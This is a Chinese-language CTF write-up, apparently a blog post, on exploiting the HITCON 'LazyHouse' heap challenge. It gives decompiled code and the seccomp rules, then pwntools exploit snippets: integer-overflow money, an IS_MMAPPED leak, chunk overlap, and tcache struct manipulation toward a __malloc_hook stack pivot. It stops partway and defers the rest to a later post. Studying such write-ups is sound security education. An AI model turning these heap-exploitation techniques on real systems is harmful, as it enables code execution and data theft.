LazyHouse

HITCON的题目真的是超级高了,这道还是angelboy大佬的题目。复现的过程主要参考的是这一篇:

作者的Twitter: Faith(@farazsth98)

其他的博客也很赞!

exp是参考的Balsn战队的。真的是太强了。

Reversing

在main函数可以看到开启了sandbox:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 choice; // rax

setup();
sandbox_start();
while ( 1 )
{
menu();
choice = read_int();
if ( choice <= 6 )
break;
print_str("Invalid Choice");
}
JUMPOUT(__CS__, (char *)dword_3298 + dword_3298[choice]);
}

通过seccomp-tools查看禁用的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@lazy:/ctf/work# seccomp-tools dump ./lazyhouse
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL

允许的系统调用有:rt_sigreturn,exit_group,exit,open,read,write,brk,mmap,mprotect,close。其中的orw大概是预期的拿flag的方法。mprotect应该是提供了写shellcode的可能性。angelboy本人的exp中使用的就是写shellcode的方法。

程序本身理解起来很容易:

1
2
3
4
5
6
7
8
9
10
11
12
wgn@ubuntu:/mnt/hgfs/share/lazy$ ./lazyhouse
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊 Lazy House 🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. Buy House $
$ 2. Show Lay's house $
$ 3. Sell $
$ 4. Upgrade $
$ 5. Buy a super house $
$ 6. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice:

初始化的money为0x1c796。存在一个全局的house_list,最大的大小为8。

1
2
3
4
5
6
7
struct house {
char* description;
uint64_t size;
uint64_t price;
}

struct house_list [8];

这是普通的house,还有一个super house:

1
2
3
4
5
6
7
struct super_house {
char* description;
uint64_t size;
uint64_t price;
}

struct super_house superhouse;

buy a normal house

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
unsigned __int64 buy()
{
unsigned __int64 index; // [rsp+8h] [rbp-138h]
unsigned __int64 size; // [rsp+10h] [rbp-130h]
void *ptr; // [rsp+28h] [rbp-118h]
char s; // [rsp+30h] [rbp-110h]
unsigned __int64 v5; // [rsp+138h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&s, 0, 0x100uLL);
snprintf(&s, 0x100uLL, "Your money:%lu", money);
print_var(&s);
print_str("Index:");
index = read_int();
if ( index > 7 || house_list[3 * index] )
{
print_var("Invalid !");
}
else
{
print_str("Size:");
size = read_int();
if ( size > 0x7F ) // 不能使用fastbin
{
if ( 218 * size <= money )
{
memset(&s, 0, 0x100uLL);
snprintf(&s, 0x100uLL, "Price:%lu", money);
print_var(&s);
house_list[3 * index + 2] = size << 6; // prize
house_list[3 * index + 1] = size;
money -= 218 * size;
ptr = calloc(1uLL, size);
if ( ptr )
{
print_str("House:");
read_str((__int64)ptr, size);
house_list[3 * index] = ptr;
}
else
{
print_var("Buy error");
}
}
else
{
print_var("You don't have enough money!");
}
}
else
{
print_var("Lays don't like a small house");
}
}
return __readfsqword(0x28u) ^ v5;
}

在比较money的时候存在整数溢出:

1
if ( 218 * size <= money )

对应的汇编为:

1
2
3
4
5
6
7
8
loc_1C84:
mov rax, [rbp+size]
imul rax, 0DAh
mov [rbp+var_120], rax
lea rax, money
mov rax, [rax]
cmp [rbp+var_120], rax
jbe short loc_1CBD

最开始以为是乘成一个负数来溢出,其实不是。注意到这里的money是qword 8字节的类型,在比较的时候只会比较低8字节,如果我们设置一个很大的size,使得乘218的结果超过8字节,但是低八字节的值比money小,就可以绕过了。

1
2
3
4
5
>>> size = ((2**64-1)/218)+1
>>> hex(size*218)
'0x10000000000000098L'
>>> hex(0x10000000000000098L&0xffffffffffffffff)
'0x98L'

这里取的size使得比较时乘法结果为0x98,从而绕过。

⚠️注意:buy的时候是用calloc来分配内存的。

show a house

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t show()
{
ssize_t result; // rax
unsigned __int64 index; // [rsp+0h] [rbp-10h]

print_str("Index:");
index = read_int();
if ( index <= 7 && house_list[3 * index] ) // ptr存在
result = write(1, (const void *)house_list[3 * index], house_list[3 * index + 1]);
else
result = print_var("Invalid !");
return result;
}

输出使用的是write函数,遇到\x00不会截断。

sell a house

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
_QWORD *sell()
{
_QWORD *result; // rax
unsigned __int64 index; // [rsp+8h] [rbp-8h]

print_str("Index:");
index = read_int();
if ( index > 7 )
return (_QWORD *)print_var("Invalid !");
free((void *)house_list[3 * index]); // free(ptr);
qword_5010 += house_list[3 * index + 2];
house_list[3 * index] = 0LL; // ptr = 0;
house_list[3 * index + 1] = 0LL; // size = 0;
result = &house_list[3 * index + 2]; // prize = 0
*result = 0LL;
return result;
}

free之后指针置NULL,没有uaf。

upgrade a house

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void *upgrade()
{
__int64 size; // ST08_8
void *result; // rax
unsigned __int64 index; // [rsp+0h] [rbp-10h]

if ( upgrade_choice <= 0 ) // 只有两次edit的机会
return (void *)print_var("You cannot upgrade again !");
print_str("Index:");
index = read_int();
if ( index > 7 || !house_list[3 * index] )
return (void *)print_var("Invalid !");
size = house_list[3 * index + 1];
print_str("House:");
read_str(house_list[3 * index], size + 32); // 溢出32字节
house_list[3 * index + 2] = 218 * size;
result = &upgrade_choice;
--upgrade_choice;
return result;
}

做了次数限制,最多可以编辑两次。之后可以看到编辑时存在一个堆溢出,能够溢出0x20字节。正常的话,如果想要扩充块的大小,应当使用realloc,但是这里没有。

buy a super house

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 buy_super()
{
char s; // [rsp+0h] [rbp-310h]
unsigned __int64 v2; // [rsp+308h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( super_house[0] )
{
print_var("Lays already has a super house!");
}
else
{
if ( (unsigned __int64)money <= 0x216FFFFF )// < 0x2170000
{
print_var("You don't have enough money to buy the luxury house");
_exit(535);
}
money -= 0x21700000LL;
memset(&s, 0, 0x300uLL);
print_str("House:");
read_str((__int64)&s, 0x217u);
super_house[0] = (char *)malloc(0x217uLL); // ptr
memset(super_house[0], 0, 0x217uLL);
strncpy(super_house[0], &s, 0x217uLL);
super_house[2] = (char *)0x21700000; // prize
super_house[1] = (_BYTE *)(&off_210 + 7);
print_var("Done!");
}
return __readfsqword(0x28u) ^ v2;
}

super house并不在house_list中,我们无法对其进行upgrade、show、sell的操作。

⚠️注意:super house是通过malloc来分配内存的。

Exploitation

先放出利用的大体思路:

  • 通过整数溢出获得足够多的钱

  • 由于calloc不会清空IS_MMAPPED的块,以此泄露heap和libc地址

  • 通过堆溢出构造堆块重叠,在tcache_pthread_struct中伪造一个chunk

  • 通过smallbin unlink attack拿到tcache_pthread_struct中的fake chunk,修改一个bin指向malloc_hook

  • 将malloc_hook改为leave; ret的地址

  • calloc调用时可以通过rdi, rsi设置jmp __malloc_hook前的rbp的值,从而stack pivot到heap上的ROP chain

  • 通过orw的方法拿到flag

这道题目的exp大概是写过的最长的exp了..学到了很多没见过的手法。

get enough money

我们想要的效果是,size218是一个超过2*64的值,但是超过的部分要小于money。

1
2
3
4
5
6
7
8
9
def get_money():
# use integer overflow to get a lot of money
size = (2**64/218)+1
p.sendlineafter('choice', '1')
p.sendlineafter('Index:', str(0))
p.sendlineafter('Size:', str(size))
# sell error
delete(0)
# got money

直接除218会有余数,补一个1就可以了。

leak heap and libc

这看起来似乎很难,因为能show的house都是通过calloc来分配的,而且没有uaf。

看一下calloc的源码(3468行):

1
2
3
4
5
6
7
8
9
/* Two optional cases in which clearing not necessary */
if (chunk_is_mmapped (p))
{
// debug用,忽略
if (__builtin_expect (perturb_byte, 0))
return memset (mem, 0, sz);

return mem;
}

当找到的chunk p是mmap的,就会直接返回p,而不会进行memset的清空操作。

1
2
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)

所以,如果能够拿到一个设置了IS_MMAPPED的块,其中如果有libc和heap的指针,我们就可以泄露了。mmap的标志位可以通过堆溢出来达成。如果这个块是large bin的话,就可以同时泄露了。要想变成largebin,可以先进入unsortedbin,之后alloc另一个更大的块使得进入largebin。

步骤:

  • calloc A, B, C

  • delete B, B进入到unsortedbin

  • calloc D, D要大于B, B进入largebin,有了heap和libc地址在fd, bk, fd_nextsize, bk_nextsize上

  • edit A,设置B的IS_MMAPPED标志位

  • calloc取回B,show B,泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
add(0, 0x80, 0x80*'0')
add(1, 0x500, 0x500*'1') # chunk B
add(2, 0x80, 0x80*'2')
delete(1) # chunk B into unsortedbin
add(1, 0x600, 0x600*'1') # chunk B into largebin

pl = 0x88*'\x00'+p64(0x510+1+2) # IS_MAPPED
edit(0, pl)
add(7, 0x500, 'a'*8)
show(7)
p.recvuntil(8*'a')
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak: '+hex(leak)) # main_arena+1168
libc_base = leak-0x1e50d0
log.info('libc_base: '+hex(libc_base))

p.recv(2)
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak: '+hex(leak))
heap_base = leak+0x55bb7cebe000-0x55bb7cebe2e0
log.info('heap_base: '+hex(heap_base))

ROP on heap

stack pivot to heap via calloc

由于沙箱的原因不能getshell。Balsn的exp中将__malloc_hook覆盖为leave; ret的地址,劫持栈到堆上进行ROP来orw拿flag。

⚠️注意:这种栈劫持的方法只有在__malloc_hook通过calloc调用时可行。

这是因为calloc中通过参数可以控制jmp rax之前的rbp的值。看一下calloc的汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
;调用calloc(1, size)   rdi = 1, rsi = size

Dump of assembler code for function __libc_calloc:
0x00007f989681ba00 <+0>: mov rdx,rdi
0x00007f989681ba03 <+3>: push r14
0x00007f989681ba05 <+5>: mov eax,0xffffffff
0x00007f989681ba0a <+10>: push r13
0x00007f989681ba0c <+12>: or rdx,rsi
0x00007f989681ba0f <+15>: push r12
0x00007f989681ba11 <+17>: push rbp
0x00007f989681ba12 <+18>: mov rbp,rdi ;<== rbp=1
0x00007f989681ba15 <+21>: push rbx
0x00007f989681ba16 <+22>: imul rbp,rsi ;<== rbp=1*size
0x00007f989681ba1a <+26>: cmp rdx,rax
0x00007f989681ba1d <+29>: jbe 0x7f989681ba28 <__libc_calloc+40>
...
0x00007f989681ba28 <+40>: mov rax,QWORD PTR [rip+0x14a4c1] # 0x7f9896965ef0
0x00007f989681ba2f <+47>: mov rax,QWORD PTR [rax]
0x00007f989681ba32 <+50>: test rax,rax
0x00007f989681ba35 <+53>: jne 0x7f989681bcd0 <__libc_calloc+720>
...
0x00007f989681bcd0 <+720>: mov rsi,QWORD PTR [rsp+0x28]
0x00007f989681bcd5 <+725>: mov rdi,rbp
0x00007f989681bcd8 <+728>: call rax ;rbp is still 1*size, rax=__malloc_hook

可以看到在jmp rax之前,rbp的值都是1*size。size是我们输入的,所以rbp也是可控的,通过将__malloc_hook改为leave; ret就可以劫持栈了。由于之前已经泄露了libc和heap的地址,在堆上写好ROP chain之后地址也是已知的,ROP用到的pop ret的gadget在libc中也有。

那么现在的问题就是,怎么写malloc_hook呢?

还需要注意一点:

⚠️注意:calloc不会使用tcache中的chunk。

也就是说,我们free掉进入tcache的house都不能用了。且只有在buy super house的时候才会用malloc,但只能调用1次。这使得传统的改tcache bin fd的方法行不通。

根据Balsn的exp,我们的目标是在tcache_pthread_struct中分配一个块,从而拿到__malloc_hook位置的块,进而写hook。

如何才能在tcache_pthread_struct(以下简称struct)中构造一个fake chunk呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

看struct的结构,前面是记录bins数量的,后面是bins中入口的指针。我们可以通过counts来伪造chunk的size,通过entries来伪造可能需要的fd和bk。

通过smallbin利用的话,在通过检查的情况下,将struct中的fake chunk通过BK链入到smallbin中,之后allocate,smallbin将BK指向的fake chunk返回给我们,我们就修改其中一个bin的entry为malloc_hook的地址,之后就可以拿到malloc_hook的块了。

接下来的任务就是怎么构造fake chunk出来。

  • 构造和top chunk的consolidate进行堆块重叠
  • 通过堆块重叠修改chunk的size,构造出0x20,0x30的chunk
  • 删除0x20, 0x30的chunk,使得进入tcache,struct中保存了两个chunk的地址,作为struct中smallbin的fake fd和bk
  • 填充0x210的tcache,使得之后的0x210的块进入smallbin,为smallbin unlink attack作准备
  • 通过修改metadata,使得struct上的fake chunk和上面的smallbin连接,并通过检查
chunk overlapping

这部分比较好理解。

1
2
3
delete(0) # into tcache 0x90
delete(1) # merge with top chunk
delete(2) # into tcache 0x90

由于我们能存储的块只有8个,先把没用的删掉。

我们试图构造这样的场景:chunk a, b, c, d, e, top chunk。在a中构造一个fake chunk,通过删除e,迫使e和a中的fake chunk合并,再和top chunk合并,使得top chunk回到a的fake chunk的位置。之后再allocate一个大块,就可以覆盖b,c,d。

如果想合并,需要设置prev_inuse为0,这可以通过堆溢出达到。另外,对e的prev_size也有要求。

在包括2.28的版本中:

1
2
3
4
5
6
7
/* consolidate backward */																	// glibc 2.28
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

合并的时候只根据prev_size找到要合并的块,之后就直接unlink。例如,当前要删除的chunk A的prev_inuse为0,根据A的prev_size找到chunk B,之后直接将A和B合并。而在2.29中:

1
2
3
4
5
6
7
8
9
 /* consolidate backward */																	// glibc 2.29
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

新加入了对合并对象的size的检查,要等于删除块的prev_size,即期望合并的两个块是紧密相连的。例如A的prev_size是0x200,那么根据prev_size找到的chunk B的size也要是0x200的才行(不看标志位)。

另外,在unlink_chunk中需要绕过fd->bk == p && bk->fd == p的检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    /* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{

这到不难。由于堆地址已经泄露出来了,绕过很容易。对应的到heap base的偏移通过gdb很容易得到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
target = heap_base+0x890 # unlink target
pl = ''
pl += p64(0) # prev_size
pl += p64(0x231) # size
pl += p64(target+0x08) # fd
pl += p64(target+0x10) # bk
pl += p64(target) # ptr
# *(target+0x20) = target
# target->fd = *(target+0x10) = target+8
# target->fd->bk = *(target+8+0x18) = target
# target->bk = *(target+0x18) = target+0x10
# target->bk->fd = *(target+0x10+0x18) = target
add(6, 0x80, pl)

# calloc wont use tcache!
add(5, 0x80, 0x80*'c') # 910
add(0, 0x80, 0x80*'d') # 9a0
add(1, 0x80, 0x80*'e') # a30

# pause()

add(2, 0x600, 0x600*'\x00') # will be freed and consolidate with fake chunk

pl = 0x80*'\x00'+p64(0x230)+p64(0x610) # prev_size and no prev_inuse
edit(1, pl)

delete(2)
# chunk 0x600 merge with fake chunk, into unsortedbin
# then merge with top chunk
# now top chunk start from the fake chunk

这里通过一个图来表示过程:

image-20191104200024231

这里通过chunk 2可以直接写chunk 5, 0, 1的值。这里把chunk 0和chunk 1的size分别改为0x30和0x20。而且把chunk 5的size修改为0x6c1(🤔️这个值怎么得出来的?)

现在我们有0x30, 0x20, 0x6c0的fake chunk了。

这之后我们删除chunk 0和chunk 1,进入tcache,struct中记录了这两个块的地址。

1
2
3
4
5
6
7
8
9
pl = 0x78*'\x00'+p64(0x6c1) # chunk 5 fake size
pl += 0x88*'\x00'+p64(0x31) # chunk 0 fake size
pl += 0x88*'\x00'+p64(0x21) # chunk 1 fake size
add(2, 0x500, pl)

delete(0) # chunk into tcache_pthread_struct
delete(1)

delete(2) # merge with top chunk

tcache中的数据:

1
2
3
4
5
6
7
pwndbg> x/30gx 0x561859478000
0x561859478000: 0x0000000000000000 0x0000000000000251
0x561859478010: 0x0200000000000101 0x0000000000000000
0x561859478020: 0x0000000000000000 0x0000000000000000
0x561859478030: 0x0000000000000000 0x0000000000000000
0x561859478040: 0x0000000000000000 0x0000000000000000
0x561859478050: 0x0000561859478a40 0x00005618594789b0 #<= 0x20 and 0x30 tcache

之后,先分配了0x1a0的块chunk 0。0x1a0=0x70+0x90*2+0x10。chunk 0在fake 0x20 chunk的数据部分前结束。这样下次分配时将从fake 0x20 chunk的数据部分开始分配。

之后分配0x210,这样在原来chunk 1的数据部分开始,我们布置了一个块。这么做的效果是,struct中的fake fd指向了chunk 1。

1
2
3
4
5
6
7
  # chunk start from the top of fake chunk 0x20's fd and bk
add(1, 0x210, 0x210*'a')
'''
0x55b5fb86fa30: 0x0000000000000000 0x0000000000000000 <= fake chunk 0x20 from here
0x55b5fb86fa40: 0x0000000000000000 0x0000000000000221 <= chunk 1 start from here
0x55b5fb86fa50: 0x6161616161616161 0x6161616161616161
'''

之后我们又分配0x210的块,删掉,在tcache中保存了这个块的地址,分配回来。由于之后需要删掉fake chunk 0x6c0(chunk 5),为了绕过检查需要在chunk 5+0x6c0的位置写一个fake chunk header。这里将fake size写成0xd1,保证prev_inuse设置为1。

1
2
3
add(2, 0x210, 0x210*'b')
delete(2)
add(2, 0x210, 0x148*'\x00'+p64(0xd1)) # fake chunk 0x6c0 --> fake chunk 0xd1 (fd0)

此时tcache的状态(看低3位就好了):

1
2
3
4
5
tcachebins
0x20 [ 1]: 0x55c57e808a400x0
0x30 [ 1]: 0x55c57e8089b00x0
0x90 [ 2]: 0x55c57e8088000x55c57e8082600x0
0x220 [ 2]: 0x55c57e808e900x55c57e808c700x0

(之后的在下一篇中继续)。